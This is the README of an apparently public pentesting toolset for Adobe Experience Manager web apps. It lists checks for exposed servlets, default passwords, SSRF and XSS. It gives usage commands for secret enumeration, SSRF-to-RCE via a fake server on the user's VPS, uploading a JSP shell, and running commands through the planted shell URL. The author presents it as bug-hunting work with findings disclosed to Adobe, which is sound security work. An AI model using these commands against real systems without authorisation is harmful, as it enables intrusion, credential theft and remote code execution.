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README.md

AEM hacker toolset

Tools to identify vulnerable Adobe Experience Manager (AEM) webapps. AEM is an enterprise-grade CMS.

I built these tools to automate bughunting and pentesting of AEM webapps. I included checks for previously known vulnerabilities and misconfigurations, as well as for new ones, discovered by me in 2018. All discovered vulnerabilities were responsibly reported to Adobe PSIRT.

You can find more details about vulnerabilities and techniques in presentations, I've prepared for Hacktivity conference and LevelUp 0x03.

AEM webapps are widespread and rarely configured securely or kept up to date. Bughunter, you have good chances to find security bugs, enjoy the tools!

Mikhail Egorov (@0ang3el)

Scripts

  • aem_hacker.py - main script to scan AEM webapp for vulnerabilities.
  • aem_discoverer.py - script to discover AEM webapps from list of URLs.
  • aem_enum.py - script allows to automate enumeration of usernames and secrets through AEM's DefaultGetServlet.
  • aem_ssrf2rce.py, aem_server.py, response.bin - scripts to get RCE from SSRF.
  • aem-rce-sling-script.sh - script to get RCE by uploading JSP shell to /apps JCR node.

aem_hacker.py

Important: You need a VPS to detect SSRF vulnerabilities!

Tool tries to bypass AEM dispatcher.

Following checks are currently implemented:

  • Exposed DefaultGetServlet - checks if JCR nodes, that might contain sensitive information and secrets, are exposed via DefaultGetServlet.
  • Exposed QueryBulderJsonServlet and QueryBuilderFeedServlet - if those servlets are exposed it might be possible to access various sensitive information and secrets.
  • Exposed GQLServlet - GQLServlet is similar to QueryBuilderFeedServlet.
  • Ability to create new JCR nodes - checks if it's possible to create new JCR node.
  • Exposed POSTServlet - POSTServlet allows to create/modify/delete content in JCR. Depending on your access level, it's possible to get stored XSS or RCE.
  • Exposed LoginStatusServlet - LoginStatusServlet allows to bruteforce credentials.
  • Users with default password - checks for admin:admin, author:author, etc.
  • Exposed Felix Console - exposed Felix Console might lead to RCE by uploading backdoor OSGI bundle.
  • Enabled WCMDebugFilter - vulnerable to CVE-2016-7882 WCMDebugFilter might lead to reflected XSS.
  • Exposed WCMSuggestionsServlet - exposed WCMSuggestionsServlet might lead to reflected XSS.
  • Exposed AuditlogServlet - checks if audit logs are exposed without authorization.
  • Exposed CRXDE logs - checks if logs are exposed without authorization via CRXDE.
  • Exposed CRXDE and CRX - checks for exposure of CRXDE and CRX.
  • SSRF SalesforceSecretServlet - checks for SSRF via SalesforceSecretServlet (CVE-2018-5006). SSRF might allow to ex-filtrate secrets or perform XSS.
  • SSRF ReportingServicesServlet - checks for SSRF via ReportingServicesServlet (CVE-2018-12809). SSRF might allow to ex-filtrate secrets or perform XSS.
  • SSRF SitecatalystServlet - checks for SSRF via SitecatalystServlet. SSRF might allow to get RCE with the help of aem_ssrf2rce.py, when specific AEM version and appserver is used.
  • SSRF AutoprovisioningServlet - checks for SSRF via AutoprovisioningServlet. SSRF might allow to get RCE with the help of aem_ssrf2rce.py, when specific AEM version and appserver is used.
  • SSRF Opensocial Proxy - checks for SSRF via Opensocial (Shindig) proxy. SSRF might allow to ex-filtrate secrets or perform XSS.
  • SSRF Opensocial MakeRequest - check for SSRF via Opensocial (Shindig) makeRequest. SSRF might allow to ex-filtrate secrets or perform XSS. You can use parameters httpMethod, postData, headers, contentType with makeRequest.
  • SWF XSSes - checks for XSSes via SWF.
  • Deser ExternalJobServlet - checks for vulnerable ExternalJobServlet.
  • Exposed Webdav - checks for access to JCR via WebDav protocol. Exposed WebDav might lead to XXE (CVE-2015-1833) or stored XSS.
  • Exposed Groovy Console - exposed Groovy console leads to RCE.
  • Exposed ACS AEM Tools - exposed ACS AEM Tools leads to RCE.

Help

python3 aem_hacker.py -h
usage: aem_hacker.py [-h] [-u URL] [--proxy PROXY] [--debug] [--host HOST]
                     [--port PORT] [--workers WORKERS]

AEM hacker by @0ang3el, see the slides -
https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps

optional arguments:
  -h, --help         show this help message and exit
  -u URL, --url URL  url to scan
  --proxy PROXY      http and https proxy
  --debug            debug output
  --host HOST        hostname or IP to use for back connections during SSRF
                     detection
  --port PORT        opens port for SSRF detection
  --workers WORKERS  number of parallel workers

Usage

python3 aem_hacker.py -u https://aem.webapp --host your_vps_hostname_ip

aem_discoverer.py

Script allows to scan urls and find AEM webapps among them.

Tool tries to bypass AEM dispatcher.

Help

python3 aem_discoverer.py -h
usage: aem_discoverer.py [-h] [--file FILE] [--proxy PROXY] [--debug]
                         [--workers WORKERS]

AEM discoverer by @0ang3el, see the slides -
https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps

optional arguments:
  -h, --help         show this help message and exit
  --file FILE        file with urls
  --proxy PROXY      http and https proxy
  --debug            debug output
  --workers WORKERS  number of parallel workers

Usage

python3 aem_discoverer.py --file urls.txt --workers 150

aem_enum.py

Script tries to grab usernames and secrets from JCR using AEM's DefaultGetServlet. Usernames are stored in properties of a node that ends with By (jcr:createdBy, jcr:lastModifiedBy, cq:LastModifiedBy, etc.).

Tool tries to bypass AEM dispatcher.

Help

python3 aem_enum.py -h
usage: aem_enum.py [-h] [--url URL] [--base BASE] [--grabdepth GRABDEPTH]
                   [--maxdepth MAXDEPTH] [--workers WORKERS] [--out OUT]
                   [--proxy PROXY] [--debug]

AEM exploration tool by @0ang3el (grabs users and secrets), see the slides -
https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps

optional arguments:
  -h, --help            show this help message and exit
  --url URL             AEM webapp URL, required parameter
  --base BASE           set base node (/etc or /apps or /home or /var), if not
                        set, base node is selected automatically
  --grabdepth GRABDEPTH
                        JCR subtree depth on each iteration, 2 should be a
                        safe value for all nodes
  --maxdepth MAXDEPTH   maximum depth for JCR search, increase it to find more
  --workers WORKERS     number of parallel workers
  --out OUT             CSV file with results, delimiter symbol is |
  --proxy PROXY         http and https proxy
  --debug               debug output

Usage

python3 aem_enum.py --url https://aem.webapp --out results.csv

aem_ssrf2rce.py, aem_server.py, response.bin

Helps to exploit SSRF in SitecatalystServlet and AutoprovisioningServlet as RCE. It should work on AEM before AEM-6.2-SP1-CFP7 running on Jetty (default installation).

Help

python3 aem_ssrf2rce.py -h
usage: aem_ssrf2rce.py [-h] [--url URL] [--fakeaem FAKEAEM] [--proxy PROXY]

optional arguments:
  -h, --help         show this help message and exit
  --url URL          URL for SitecatalystServlet or AutoprovisioningServlet,
                     including path, without query part
  --fakeaem FAKEAEM  hostname/ip of fake AEM server
  --proxy PROXY      http and https proxy

Usage

Place aem_server.py and response.bin on your VPS. Run aem_server.py script.

python3 aem_server.py
starting fake AEM server...
running server...

Run aem_ssrf2rce.py script.

python3 aem_ssrf2rce.py --url https://aem.webapp/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet --fakeaem your_vps_hostname_ip

If RCE is possible, you should see incoming connection to your fake AEM server. After replication, you can access your shell from https://aem.webapp/rcenode.html?Vgu9BKV9zdvJNByNh9NB=ls.

aem-rce-sling-script.sh

Script is handy when Felix Console is not available, but you have permissions to create new nodes under /apps JCR node.

Usage

./aem-rce-sling-script.sh https://aem.webapp username password